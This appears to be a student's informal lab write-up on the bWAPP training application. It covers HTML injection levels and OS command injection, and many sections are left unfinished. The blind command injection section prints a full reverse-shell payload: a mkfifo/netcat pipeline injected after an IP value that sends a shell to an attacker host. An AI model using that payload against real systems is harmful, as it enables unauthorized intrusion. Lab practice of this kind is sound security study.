# BWAPP
## HTML injection
we know html injection as xss (cross side scripting).
This vulnerability allow us to code into web page.
if we code into web page and send to another people. And they run web page our code will run too
## HTML Injection - Reflected (GET)
GET Method will show values in URL
### Low Level
We can input html language in this section
### medium Level
Do the same thing like a low level
Try to encode the values before input
It's working
### High Level
Do the same thing like medium level
Dont know how to exploit this level
it might be a WAF (Web Application Firewall)
## HTML Injection - Reflected (POST)
POST Method will not show values in URL
### Low Level
We can input html language in this section
### medium Level
Do the same thing like a low level
Try to encode the data that we will input
It's working
### High Level
Do the same thing like medium level
Can not Exploit it
it might be a WAF(Web Application Firewall)
## HTML Injection - Reflected (URL)
we can change hostname
### Low level
use burpsuite to edit hostname
we can put html tag to this website because it dosen't recheck
### medium level
can not do like a photo
### high level
can not exploit it
## HTML Injection - Stored (Blog)

### Low level
we can try to input html tag
### medium level
can not bypass
### high level
cannot bypass
## OS Command Injection
we know as shell injection is a web security vulnerability that allows an attacker to execute
this section we can put linux command after ip
ex: && |
### Low level
### medium level
It's still working
### high level
not workking
## OS Command Injection - blind
we can use web shell
### Low Level
and use under command from pentestmonkey.com

127.0.0.1| rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.184.128 4444 >/tmp/f
![and we will get shell like this](https://i.imgur.com/oM3Wnwv.png
### medium level
try other command